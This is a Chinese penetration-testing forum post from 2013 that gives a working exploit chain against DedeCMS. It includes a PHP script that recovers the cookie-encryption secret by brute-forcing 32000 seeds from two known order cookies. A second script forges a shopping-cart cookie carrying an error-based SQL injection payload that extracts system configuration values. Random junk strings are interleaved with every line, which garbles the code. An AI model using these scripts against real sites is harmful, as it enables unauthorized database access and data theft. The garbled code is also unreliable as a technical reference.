中国网络渗透测试联盟
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-13 23:58
标题:
织梦CMS漏洞dedecms漏洞SQL注入漏洞
www.xxx.com/plus/search.php?keyword=
5 z+ J# P% e4 y' V5 A& a' [! N
在 include/shopcar.class.php中
$ [+ j3 o, Z* _# N% T
先看一下这个shopcar类是如何生成cookie的
7 R) Q" ~1 B3 H8 ~) c" Z/ E
239 function saveCookie($key,$value)
, i& W6 B& Z0 ]/ I
240 {
0 `% f/ [/ K$ k8 k
241 if(is_array($value))
3 u2 z9 a0 W1 Q) f" _
242 {
% S {7 T) D5 f9 E3 h
243 $value = $this->enCrypt($this->enCode($value));
9 U" c8 A& }! f
244 }
9 D8 X" ]# p0 \7 O. e0 z
245 else
# \' y3 \- B9 b' x( d
246 {
0 U6 I" x3 u0 A# b- F1 r
247 $value = $this->enCrypt($value);
& v# I0 c5 u) O; a8 \/ J% a
248 }
: q" w9 r+ R* E3 S# ^
249 setcookie($key,$value,time()+36000,’/');
" Z/ _0 V& b# O! V* @2 U
250 }
. ?" M, ^: S$ W( P: c5 }" }
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
8 X5 C9 V0 o' p0 P! z
186 function enCrypt($txt)
& E7 [0 R2 N ?" z5 B6 h
187 {
: g& Z: M" u/ M a: P, @
188 srand((double)microtime() * 1000000);
. P6 w2 ~7 ^3 R( I) g' b8 `* f& u5 r
189 $encrypt_key = md5(rand(0, 32000));
" E: R- d B* O; |( v9 h5 x
190 $ctr = 0;
! p* g) Z w6 S9 w
191 $tmp = ”;
6 ~9 j" |& I: f9 M
192 for($i = 0; $i < strlen($txt); $i++)
4 G3 `; J3 l1 Z0 `7 m3 w
193 {
& j5 X% O+ o7 i! f
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
3 J- B5 V3 u, C V0 S
195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
3 Z% S0 W' V5 C
196 }
. X3 I6 _' \" B0 Z2 D) C1 u8 s- b
197 return base64_encode($this->setKey($tmp));
% |+ |& D# O5 [) v |" @
198 }
! G, G2 c7 Q; {8 f
213 function setKey($txt)
# C9 A F; W a0 ~* x7 Q
214 {
9 {; f3 j4 E h8 T8 v8 y
215 global $cfg_cookie_encode;
( c; d% @, K& j( ?, E* [. T6 e1 Y
216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
. {( a) ~$ G6 e- M: Q6 n
217 $ctr = 0;
8 d- d. c' h$ Q, A; [
218 $tmp = ”;
# I! \2 `& K6 T
219 for($i = 0; $i < strlen($txt); $i++)
6 }. m" z8 B3 D9 w9 m7 h* \: `
220 {
6 O2 q1 s8 S7 C0 L, y4 V5 L
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
4 }2 o; ^, f' I% M* x
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
7 Y8 n8 H" X# U2 J2 ^
223 }
9 \/ U }& U( ]
224 return $tmp;
8 |, P9 s, F0 l* K( A; T
225 }
* T& G5 Z7 F0 g2 w( F/ f
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
8 K" R4 t$ w* v" h+ } s
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
9 g7 \# ]5 r7 m
具体代码如下:
/ g+ ^+ w1 ^4 x
<?php
, v( ^- p9 ]/ @5 b2 c
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
. f7 _% t" {/ _, U2 W$ a* Z
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
( T" f! H4 |3 N% d$ ]9 M+ z' T; L/ i2 A
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
& x; d- K3 A z3 R% M
function reStrCode($code,$string)
0 L4 O( ?4 p, q% }
{
2 @) W; a" r9 L0 h5 o
$code = base64_decode($code);
( P: ?2 Q8 x, X3 d( E/ g+ H# ?# |
$key = “”;
$ P6 {/ r6 g, s
for($i=0 ; $i<32 ; $i++)
, n7 j- s: ~* s2 h
{
" o$ Q6 s$ I1 g; u, q! H
$key .= $string[$i] ^ $code[$i];
0 D1 Y4 D' S8 e# U% R0 M
}
& g1 A$ |% D7 o
return $key;
U8 Z) [+ c% Z
}
! U9 q7 e( U7 U# d) j$ w
function getKeys($cookie,$plantxt)
/ X( E2 f J* e9 k6 @
{
! @! o% M9 l7 r/ K' m4 c' W& A1 b
$tmp = $cookie;
' i1 ]7 j# N- Z
$results = array();
5 x/ \& u4 N3 g" C* \1 N
for($j=0 ; $j < 32000; $j++)
, `7 x) \5 S& K
{
, U0 X5 D" n0 }( S8 _/ M
, u; n; L0 @6 ~6 N/ C+ h0 f
$txt = $plantxt;
% N5 f! s2 n; E! P! ?+ J
$ctr = 0;
1 h/ o4 h. U/ l3 p* z5 j
$tmp = ”;
' ]0 N# x- O! C: K# C1 Q* K
$encrypt_key = md5($j);
. b7 I, g. n8 K) m5 v2 C6 b' i
for($i =0; $i < strlen($txt); $i ++)
, t" V P; A0 e
{
! D) u& T1 q' z- ?
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
/ `" W b7 {( U( G
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
2 T7 L! E* j4 t0 q2 G4 Z- J
}
4 B7 u/ S& D* z0 k% b
$string = $tmp;
, D; z. o* P8 ^
$code = $cookie;
: H1 n: n8 `* y3 l: _
$result = reStrCode($code,$string);
+ c5 `" j; I' T1 E( o
if(eregi(‘^[a-z0-9]+$’,$result))
4 g3 A2 v, B. t) R, H
{
b0 S8 ]" \$ F7 F; x
echo $result.”\n”;
, `& g5 R' {& q- `9 X b& d Q
$results[] = $result;
, H$ W$ `4 [( j" `0 P% Z
}
, p- h1 d/ ` t' G% x a) c, w
}
/ i! j/ S: ? a
return $results;
% @4 x8 m1 R% ?! h" o; @1 Y# u* k" N
}
& _6 o% |0 v2 A- [3 \5 i
$results1 = getKeys($cookie1,$plantxt);
2 [- r$ b/ t4 U. o( W% V- I3 W% F
$results2 = getKeys($cookie2,$plantxt);
* W; f9 ~4 `, ?; |8 `# M# j& H1 }
print “\n——————–real key————————–\n”;
! ~- }( Q; R s' N
foreach($results1 as $test1)
8 B5 y8 P2 D3 I: u6 n# A
{
2 l5 o! _9 d' V% L& t1 `' d) |' p
foreach($results2 as $test2)
* L& m4 T) C. Q8 u, w0 p+ r8 X+ b
{
" D/ p6 f! q) d; M# Y4 v
if($test1 == $test2)
+ k: W, u* y) P5 f8 z
{
s' K$ U+ d- _3 u) U
echo $test1.”\n”;
# x* f* c2 e! | h
}
1 q& d9 l* D# P/ F
}
K1 g5 |; T0 g5 D( m
}
+ V/ s9 `5 a* k6 |
?>
W% L+ `: z' A; u; k! _
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
. S! W4 t: P) n% b5 h: d: t
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
; e7 D! O$ _+ {) u4 j: d
然后推算出md5(strtolower($cfg_cookie_encode))
/ O8 a9 ], i# W. `* d- g
得到这个key之后,我们就可以构造任意购物车的cookie
! F8 W- E. F0 G4 d5 j" z
接着看
. r5 [' J1 T" f0 Z* D1 A! e8 K
20 class MemberShops
7 S0 @( v4 G: N2 N' D
21 {
2 g6 T* t/ P i7 N- _
22 var $OrdersId;
; _6 W) [4 c8 I0 I- L
23 var $productsId;
3 d1 p7 w6 k5 B3 D# J! ?
24
5 v7 y8 f$ | ?' \9 U
25 function __construct()
" m i3 }( } J& U8 U: x6 r
26 {
# i$ z/ q/ k9 k0 h9 _
27 $this->OrdersId = $this->getCookie(“OrdersId”);
9 G P* f3 ?; L; A
28 if(empty($this->OrdersId))
7 ?& B f4 ? j
29 {
3 [1 |6 \" E0 G3 Z
30 $this->OrdersId = $this->MakeOrders();
% T8 I1 {. p' u+ A( W6 a$ D0 g* _( k% }
31 }
# E) y7 o4 B- M+ ~/ _
32 }
+ l5 G; S+ F* {$ |: U g
发现OrderId是从cookie里面获取的
: Z1 L$ ^6 }! W; E
然后
1 |% c+ J6 |/ r- h: h, u S0 _9 x
/plus/carbuyaction.php中的
" R$ l. }& p$ }4 l1 Y
29 $cart = new MemberShops();
3 ~0 J0 U( u/ `( x% D, j, Y
39 $OrdersId = $cart->OrdersId; //本次记录的订单号
1 g# P' ^# Y3 W3 R2 z
……
9 b$ G- m: m3 |% O9 m& E
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
% w9 q1 G9 ^1 ]9 I8 d' c
接着我们就可以注入了
+ Y6 S) G: J) H# W, g7 u/ w: P
通过利用下面代码生成cookie:
6 c# _6 I' U+ R8 J- M5 W
<?php
2 q8 F1 f- J8 @$ A: Q! M# z
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
$ R% M- b! x B% ~
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
( b/ Q* Y P6 X$ j
function setKey($txt)
0 Q! Z% o0 G$ o% }6 z! y; E
{
" u: S# e, C$ ~" I: \" B
global $encrypt_key;
2 @% E5 P9 \) i: k' M: k& K9 I
$ctr = 0;
9 |9 O9 j' z6 f8 C Z
$tmp = ”;
1 S/ v; c" v: X) h: {" J
for($i = 0; $i < strlen($txt); $i++)
0 G. q, W3 ~5 b
{
, V- ?- ?6 z8 q
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, f" k5 q6 U' H3 u1 o, Y; V, \
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
! k" O5 X. B- c! Q) n
}
5 J2 c2 M2 y, d# R
return $tmp;
# p$ A4 s q( i6 Y
}
V, x$ r- J- E
function enCrypt($txt)
1 N7 z4 r/ M, C/ Y7 K4 K$ _
{
( z) ?! L5 n+ E! ^
srand((double)microtime() * 1000000);
4 O3 P' M6 Z0 o4 H/ ^/ ~; Q1 T) d, S$ ]
$encrypt_key = md5(rand(0, 32000));
7 C% Z& D1 p3 g/ }+ Y. r
$ctr = 0;
% G, F! W, E6 S0 M; ]
$tmp = ”;
# `: B, f( h. w- E% `' @) k
for($i = 0; $i < strlen($txt); $i++)
6 {3 b8 a4 q9 A3 R$ c8 ~" g/ x s
{
|/ h# M6 o g5 v
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
h% A$ u: V% N/ O8 b; H
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
1 N* T. ^, ]# d
}
) |: e/ I" X& |- b) R
return base64_encode(setKey($tmp));
$ b6 m- m2 G# c; L& A
}
" u8 M0 @/ r& ?4 [4 W
for($dest =0;$dest = enCrypt($txt);)
$ _2 [/ R1 r; Q$ a
{
/ L8 V0 X! E1 {: y
if(!strpos($dest,’+'))
: r' a* s- ^: M. O, {4 p
{
W8 T9 y9 Z6 H. u+ Z0 y- h
break;
0 f' q8 m8 ]6 V S: Z7 {# Z
}
5 W/ L% D) e0 x+ Q+ n
}
( H$ ], S- |/ M4 O6 e
echo $dest.”\n”;
6 j% C; Q9 P# b: Z
?>
6 u6 b- b9 a+ l5 U; H3 `
2 ?; Q1 x" E) M# g+ z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2